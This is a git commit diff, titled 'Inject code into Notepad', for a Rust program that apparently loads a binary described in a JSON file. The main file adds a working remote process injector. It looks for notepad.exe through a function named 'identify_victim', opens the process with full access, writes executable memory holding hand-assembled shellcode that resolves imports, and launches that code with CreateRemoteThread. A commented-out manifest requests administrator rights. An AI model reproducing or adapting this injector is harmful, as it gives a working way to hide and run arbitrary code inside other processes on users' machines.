Inject code into Notepad
This commit is contained in:
parent
4e3a7745d7
commit
cc2d7dc9bf
19
runner/Cargo.lock
generated
19
runner/Cargo.lock
generated
@ -284,6 +284,7 @@ dependencies = [
|
|||||||
"serde_json",
|
"serde_json",
|
||||||
"serde_with",
|
"serde_with",
|
||||||
"windows-sys",
|
"windows-sys",
|
||||||
|
"winres",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@ -423,6 +424,15 @@ dependencies = [
|
|||||||
"time-core",
|
"time-core",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "toml"
|
||||||
|
version = "0.5.11"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f4f7f0dd8d50a853a531c426359045b1998f04219d88799810762cd4ad314234"
|
||||||
|
dependencies = [
|
||||||
|
"serde",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "unicode-ident"
|
name = "unicode-ident"
|
||||||
version = "1.0.18"
|
version = "1.0.18"
|
||||||
@ -618,3 +628,12 @@ name = "windows_x86_64_msvc"
|
|||||||
version = "0.52.6"
|
version = "0.52.6"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec"
|
checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "winres"
|
||||||
|
version = "0.1.12"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b68db261ef59e9e52806f688020631e987592bd83619edccda9c47d42cde4f6c"
|
||||||
|
dependencies = [
|
||||||
|
"toml",
|
||||||
|
]
|
||||||
|
@ -8,4 +8,7 @@ serde = {version = "1.0.219", features=["derive"]}
|
|||||||
serde_bytes = "0.11.17"
|
serde_bytes = "0.11.17"
|
||||||
serde_json = "1.0.140"
|
serde_json = "1.0.140"
|
||||||
serde_with = {version="3.12.0", features=["base64"]}
|
serde_with = {version="3.12.0", features=["base64"]}
|
||||||
windows-sys = {version="0.59.0", features=["Win32_System_Memory", "Win32_System_LibraryLoader"]}
|
windows-sys = {version="0.59.0", features=["Win32_System_Memory", "Win32_System_LibraryLoader", "Win32_System_Diagnostics_ToolHelp", "Win32_System_Threading", "Win32_System_Diagnostics_Debug", "Win32_Security"]}
|
||||||
|
|
||||||
|
[build-dependencies]
|
||||||
|
winres = "0.1.12"
|
||||||
|
22
runner/build.rs
Normal file
22
runner/build.rs
Normal file
@ -0,0 +1,22 @@
|
|||||||
|
extern crate winres;
|
||||||
|
|
||||||
|
fn main() {
|
||||||
|
/*
|
||||||
|
let mut res = winres::WindowsResource::new();
|
||||||
|
res.set_manifest(
|
||||||
|
r#"
|
||||||
|
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
|
||||||
|
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
|
||||||
|
<security>
|
||||||
|
<requestedPrivileges>
|
||||||
|
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
|
||||||
|
</requestedPrivileges>
|
||||||
|
</security>
|
||||||
|
</trustInfo>
|
||||||
|
</assembly>
|
||||||
|
"#,
|
||||||
|
);
|
||||||
|
res.compile()
|
||||||
|
.expect("expected to be able to build resources");
|
||||||
|
*/
|
||||||
|
}
|
@ -1,4 +1,5 @@
|
|||||||
use std::ffi::c_void;
|
use std::ffi::{c_void, CStr};
|
||||||
|
use std::mem::MaybeUninit;
|
||||||
use std::ptr;
|
use std::ptr;
|
||||||
use std::{fs::File, io::Read};
|
use std::{fs::File, io::Read};
|
||||||
|
|
||||||
@ -7,9 +8,15 @@ use serde_with::base64::{Base64, Standard};
|
|||||||
use serde_with::formats::Padded;
|
use serde_with::formats::Padded;
|
||||||
use serde_with::serde_as;
|
use serde_with::serde_as;
|
||||||
|
|
||||||
use windows_sys::Win32::Foundation::HMODULE;
|
use windows_sys::Win32::Foundation::{GetLastError, PROC};
|
||||||
use windows_sys::Win32::System::LibraryLoader;
|
use windows_sys::Win32::System::Diagnostics::Debug;
|
||||||
|
use windows_sys::Win32::System::Diagnostics::ToolHelp::{self, PROCESSENTRY32};
|
||||||
use windows_sys::Win32::System::Memory;
|
use windows_sys::Win32::System::Memory;
|
||||||
|
use windows_sys::Win32::System::Threading::PROCESS_ALL_ACCESS;
|
||||||
|
use windows_sys::Win32::System::{LibraryLoader, Threading};
|
||||||
|
|
||||||
|
const LOAD_LIBRARY_A: *const c_void = LibraryLoader::LoadLibraryA as *const c_void;
|
||||||
|
const GET_PROC_ADDRESS: *const c_void = LibraryLoader::GetProcAddress as *const c_void;
|
||||||
|
|
||||||
#[serde_as]
|
#[serde_as]
|
||||||
#[derive(Debug, Deserialize)]
|
#[derive(Debug, Deserialize)]
|
||||||
@ -32,54 +39,286 @@ struct Binary {
|
|||||||
entry_point: usize,
|
entry_point: usize,
|
||||||
}
|
}
|
||||||
fn main() {
|
fn main() {
|
||||||
unsafe { _main() }
|
unsafe { _main_remote() }
|
||||||
}
|
}
|
||||||
unsafe fn _main() {
|
|
||||||
|
struct LocalWriter {
|
||||||
|
binary: *mut u8,
|
||||||
|
base: *mut u8,
|
||||||
|
ptr: *mut u8,
|
||||||
|
}
|
||||||
|
struct Measurer {
|
||||||
|
count: usize,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Measurer {}
|
||||||
|
|
||||||
|
trait CodeGen {
|
||||||
|
unsafe fn write(&mut self, u8s: &[u8]) -> *const c_void;
|
||||||
|
|
||||||
|
unsafe fn write_ptr(&mut self, ptr: *const c_void) -> *const c_void {
|
||||||
|
let bytes = unsafe { std::mem::transmute::<*const c_void, [u8; 8]>(ptr) };
|
||||||
|
self.write(&bytes)
|
||||||
|
}
|
||||||
|
|
||||||
|
unsafe fn address_in_binary(&mut self, offset: usize) -> *const c_void;
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Measurer {
|
||||||
|
fn round_up(&mut self) {
|
||||||
|
self.count = (self.count + 15) / 16 * 16;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl CodeGen for LocalWriter {
|
||||||
|
unsafe fn write(&mut self, u8s: &[u8]) -> *const c_void {
|
||||||
|
let addr = self.ptr;
|
||||||
|
for u in u8s {
|
||||||
|
*self.ptr = *u;
|
||||||
|
self.ptr = self.ptr.byte_add(1);
|
||||||
|
}
|
||||||
|
self.binary.offset(addr.offset_from(self.base)) as *const c_void
|
||||||
|
}
|
||||||
|
|
||||||
|
unsafe fn address_in_binary(&mut self, offset: usize) -> *const c_void {
|
||||||
|
self.binary.byte_add(offset) as *const c_void
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl CodeGen for Measurer {
|
||||||
|
unsafe fn write(&mut self, u8s: &[u8]) -> *const c_void {
|
||||||
|
self.count += u8s.len();
|
||||||
|
return ptr::null();
|
||||||
|
}
|
||||||
|
|
||||||
|
unsafe fn address_in_binary(&mut self, offset: usize) -> *const c_void {
|
||||||
|
return ptr::null();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
unsafe fn write_imports(
|
||||||
|
strings: &mut impl CodeGen,
|
||||||
|
code: &mut impl CodeGen,
|
||||||
|
original_entry_point: usize,
|
||||||
|
imports: &[Import],
|
||||||
|
) {
|
||||||
|
// push rbp
|
||||||
|
code.write(&[0x55]);
|
||||||
|
// mov rbp, rsp
|
||||||
|
code.write(&[0x48, 0x89, 0xe5]);
|
||||||
|
// nop
|
||||||
|
code.write(&[0x90]);
|
||||||
|
// sub rsp, 0x20
|
||||||
|
code.write(&[0x48, 0x83, 0xec, 0x20]);
|
||||||
|
// windows needs 32 bytes to clobber: https://en.wikipedia.org/wiki/X86_calling_conventions#Microsoft_x64_calling_convention
|
||||||
|
for import in imports {
|
||||||
|
let library_addr = strings.write(&import.dll);
|
||||||
|
strings.write(&[0]);
|
||||||
|
let symbol_addr = strings.write(&import.symbol);
|
||||||
|
strings.write(&[0]);
|
||||||
|
|
||||||
|
// mov rcx, library name
|
||||||
|
code.write(&[0x48, 0xb9]);
|
||||||
|
code.write_ptr(library_addr);
|
||||||
|
// mov rax, LoadLibraryA
|
||||||
|
code.write(&[0x48, 0xb8]);
|
||||||
|
code.write_ptr(LOAD_LIBRARY_A);
|
||||||
|
// call rax
|
||||||
|
code.write(&[0xff, 0xd0]);
|
||||||
|
|
||||||
|
// mov rcx, rax
|
||||||
|
code.write(&[0x48, 0x89, 0xc1]);
|
||||||
|
// mov rdx, symbol name
|
||||||
|
code.write(&[0x48, 0xba]);
|
||||||
|
code.write_ptr(symbol_addr);
|
||||||
|
// mov rax, GetProcAddress
|
||||||
|
code.write(&[0x48, 0xb8]);
|
||||||
|
code.write_ptr(GET_PROC_ADDRESS);
|
||||||
|
// call rax
|
||||||
|
code.write(&[0xff, 0xd0]);
|
||||||
|
// mov [import address], rax
|
||||||
|
code.write(&[0x48, 0xa3]);
|
||||||
|
let addr = code.address_in_binary(import.address);
|
||||||
|
code.write_ptr(addr);
|
||||||
|
}
|
||||||
|
// mov rax, original entry point
|
||||||
|
code.write(&[0x48, 0xb8]);
|
||||||
|
let addr = code.address_in_binary(original_entry_point);
|
||||||
|
// let addr = load_library_a;
|
||||||
|
code.write_ptr(addr);
|
||||||
|
// call rax
|
||||||
|
code.write(&[0xff, 0xd0]);
|
||||||
|
// leave, ret
|
||||||
|
code.write(&[0xc9, 0xc3]);
|
||||||
|
}
|
||||||
|
|
||||||
|
unsafe fn _main_remote() {
|
||||||
let mut input = File::open("binaries/main.json").unwrap();
|
let mut input = File::open("binaries/main.json").unwrap();
|
||||||
let mut buf: Vec<u8> = vec![];
|
let mut buf: Vec<u8> = vec![];
|
||||||
let _ = input.read_to_end(&mut buf).unwrap();
|
let _ = input.read_to_end(&mut buf).unwrap();
|
||||||
|
|
||||||
let binary = serde_json::from_slice::<Binary>(&buf).unwrap();
|
let binary = serde_json::from_slice::<Binary>(&buf).unwrap();
|
||||||
println!("Binary: {:?}", binary);
|
|
||||||
|
|
||||||
let address_space = Memory::VirtualAlloc(
|
let mut string_measurer = Measurer { count: 0 };
|
||||||
|
let mut code_measurer = Measurer { count: 0 };
|
||||||
|
write_imports(
|
||||||
|
&mut string_measurer,
|
||||||
|
&mut code_measurer,
|
||||||
|
binary.entry_point,
|
||||||
|
&binary.imports,
|
||||||
|
);
|
||||||
|
// string_measurer.round_up();
|
||||||
|
// code_measurer.round_up();
|
||||||
|
|
||||||
|
// TODO: Alignment
|
||||||
|
let Some(victim) = identify_victim() else {
|
||||||
|
println!("couldn't find victim");
|
||||||
|
return;
|
||||||
|
};
|
||||||
|
let remote = Threading::OpenProcess(PROCESS_ALL_ACCESS, 0, victim);
|
||||||
|
if remote == ptr::null_mut() {
|
||||||
|
println!("got null");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let total_size = binary.starting_state.len() + string_measurer.count + code_measurer.count;
|
||||||
|
let remote_address_space = Memory::VirtualAllocEx(
|
||||||
|
remote,
|
||||||
ptr::null(),
|
ptr::null(),
|
||||||
binary.starting_state.len(),
|
total_size,
|
||||||
Memory::MEM_COMMIT | Memory::MEM_RESERVE,
|
Memory::MEM_COMMIT | Memory::MEM_RESERVE,
|
||||||
Memory::PAGE_EXECUTE_READWRITE,
|
Memory::PAGE_EXECUTE_READWRITE,
|
||||||
);
|
);
|
||||||
|
let local_address_space = Memory::VirtualAlloc(
|
||||||
|
ptr::null(),
|
||||||
|
total_size,
|
||||||
|
Memory::MEM_COMMIT | Memory::MEM_RESERVE,
|
||||||
|
Memory::PAGE_EXECUTE_READWRITE,
|
||||||
|
);
|
||||||
|
|
||||||
|
local_address_space.copy_from(
|
||||||
|
binary.starting_state.as_ptr() as *const c_void,
|
||||||
|
binary.starting_state.len(),
|
||||||
|
);
|
||||||
|
|
||||||
|
let strings = local_address_space.byte_add(binary.starting_state.len());
|
||||||
|
let prelude = strings.byte_add(string_measurer.count);
|
||||||
|
let mut strings_writer = LocalWriter {
|
||||||
|
binary: remote_address_space as *mut u8,
|
||||||
|
base: local_address_space as *mut u8,
|
||||||
|
ptr: strings as *mut u8,
|
||||||
|
};
|
||||||
|
let mut prelude_writer = LocalWriter {
|
||||||
|
binary: remote_address_space as *mut u8,
|
||||||
|
base: local_address_space as *mut u8,
|
||||||
|
ptr: prelude as *mut u8,
|
||||||
|
};
|
||||||
|
write_imports(
|
||||||
|
&mut strings_writer,
|
||||||
|
&mut prelude_writer,
|
||||||
|
binary.entry_point,
|
||||||
|
&binary.imports,
|
||||||
|
);
|
||||||
|
println!("error: {}", GetLastError());
|
||||||
|
println!(
|
||||||
|
"Copying memory to foreign process (at {:?} from {:?} get {:?})",
|
||||||
|
remote_address_space, local_address_space, total_size
|
||||||
|
);
|
||||||
|
Debug::WriteProcessMemory(
|
||||||
|
remote,
|
||||||
|
remote_address_space,
|
||||||
|
local_address_space,
|
||||||
|
total_size,
|
||||||
|
ptr::null_mut(),
|
||||||
|
);
|
||||||
|
println!("error: {}", GetLastError());
|
||||||
|
println!("Creating remote thread");
|
||||||
|
|
||||||
|
let entry_point =
|
||||||
|
remote_address_space.byte_add(binary.starting_state.len() + string_measurer.count);
|
||||||
|
println!("Entry point: {:?}", entry_point);
|
||||||
|
Threading::CreateRemoteThread(
|
||||||
|
remote,
|
||||||
|
ptr::null(),
|
||||||
|
0,
|
||||||
|
Some(std::mem::transmute::<
|
||||||
|
*mut c_void,
|
||||||
|
unsafe extern "system" fn(*mut c_void) -> u32,
|
||||||
|
>(entry_point)),
|
||||||
|
ptr::null(),
|
||||||
|
0,
|
||||||
|
ptr::null_mut(),
|
||||||
|
);
|
||||||
|
println!("error: {}", GetLastError());
|
||||||
|
println!("Done!");
|
||||||
|
}
|
||||||
|
|
||||||
|
unsafe fn identify_victim() -> Option<u32> {
|
||||||
|
let snapshot = ToolHelp::CreateToolhelp32Snapshot(ToolHelp::TH32CS_SNAPPROCESS, 0);
|
||||||
|
let mut entry: MaybeUninit<PROCESSENTRY32> = MaybeUninit::uninit();
|
||||||
|
entry.assume_init_mut().dwSize = std::mem::size_of::<PROCESSENTRY32>() as u32;
|
||||||
|
let mut process = ToolHelp::Process32First(snapshot, entry.as_mut_ptr());
|
||||||
|
println!("error: {}; process: {}", GetLastError(), process);
|
||||||
|
while process != 0 {
|
||||||
|
let entry_ref = entry.assume_init_ref();
|
||||||
|
let name = CStr::from_ptr(entry_ref.szExeFile.as_ptr());
|
||||||
|
println!("peeking: {:?}", name);
|
||||||
|
if name.eq(CStr::from_bytes_with_nul_unchecked(b"notepad.exe\x00")) {
|
||||||
|
return Some(entry_ref.th32ProcessID);
|
||||||
|
}
|
||||||
|
process = ToolHelp::Process32Next(snapshot, entry.as_mut_ptr());
|
||||||
|
}
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
/*
|
||||||
|
unsafe fn _main_local() {
|
||||||
|
let mut input = File::open("binaries/main.json").unwrap();
|
||||||
|
let mut buf: Vec<u8> = vec![];
|
||||||
|
let _ = input.read_to_end(&mut buf).unwrap();
|
||||||
|
|
||||||
|
let binary = serde_json::from_slice::<Binary>(&buf).unwrap();
|
||||||
|
|
||||||
|
let mut string_measurer = Measurer { count: 0 };
|
||||||
|
let mut code_measurer = Measurer { count: 0 };
|
||||||
|
write_imports(
|
||||||
|
&mut string_measurer,
|
||||||
|
&mut code_measurer,
|
||||||
|
binary.entry_point,
|
||||||
|
&binary.imports,
|
||||||
|
);
|
||||||
|
|
||||||
|
// TODO: Alignment
|
||||||
|
let address_space = Memory::VirtualAlloc(
|
||||||
|
ptr::null(),
|
||||||
|
binary.starting_state.len() + string_measurer.count + code_measurer.count,
|
||||||
|
Memory::MEM_COMMIT | Memory::MEM_RESERVE,
|
||||||
|
Memory::PAGE_EXECUTE_READWRITE,
|
||||||
|
);
|
||||||
|
|
||||||
address_space.copy_from(
|
address_space.copy_from(
|
||||||
binary.starting_state.as_ptr() as *const c_void,
|
binary.starting_state.as_ptr() as *const c_void,
|
||||||
binary.starting_state.len(),
|
binary.starting_state.len(),
|
||||||
);
|
);
|
||||||
for i in binary.imports.iter() {
|
|
||||||
let mut lcpstr_dll = vec![];
|
|
||||||
lcpstr_dll.extend(&i.dll);
|
|
||||||
lcpstr_dll.push(0);
|
|
||||||
|
|
||||||
let mut lpcstr_procname = vec![];
|
let strings = address_space.byte_add(binary.starting_state.len());
|
||||||
lpcstr_procname.extend(&i.symbol);
|
let prelude = strings.byte_add(string_measurer.count);
|
||||||
lpcstr_procname.push(0);
|
let mut strings_writer = LocalWriter {
|
||||||
|
binary: address_space as *mut u8,
|
||||||
println!("handling import");
|
ptr: strings as *mut u8,
|
||||||
let dll: HMODULE = LibraryLoader::LoadLibraryA(lcpstr_dll.as_ptr());
|
};
|
||||||
|
let mut prelude_writer = LocalWriter {
|
||||||
// TODO: Free anything? No real need to.
|
binary: address_space as *mut u8,
|
||||||
let proc = LibraryLoader::GetProcAddress(dll, lpcstr_procname.as_ptr()).unwrap();
|
ptr: prelude as *mut u8,
|
||||||
let proc_ptr = proc as *mut c_void;
|
};
|
||||||
println!(
|
write_imports(
|
||||||
"writing at {} out of {}",
|
&mut strings_writer,
|
||||||
i.address,
|
&mut prelude_writer,
|
||||||
binary.starting_state.len()
|
binary.entry_point,
|
||||||
|
&binary.imports,
|
||||||
);
|
);
|
||||||
let location = address_space.byte_add(i.address) as *mut *mut c_void;
|
|
||||||
*location = proc_ptr;
|
|
||||||
println!("handled import");
|
|
||||||
}
|
|
||||||
println!("done with imports");
|
|
||||||
let fn_start = address_space.byte_add(binary.entry_point);
|
|
||||||
let function: unsafe fn() -> () = std::mem::transmute(fn_start);
|
|
||||||
|
|
||||||
function();
|
let function: unsafe extern "C" fn() -> *const c_void = std::mem::transmute(prelude);
|
||||||
println!("returned");
|
|
||||||
|
let result = function();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
*/
|
||||||
|
Loading…
x
Reference in New Issue
Block a user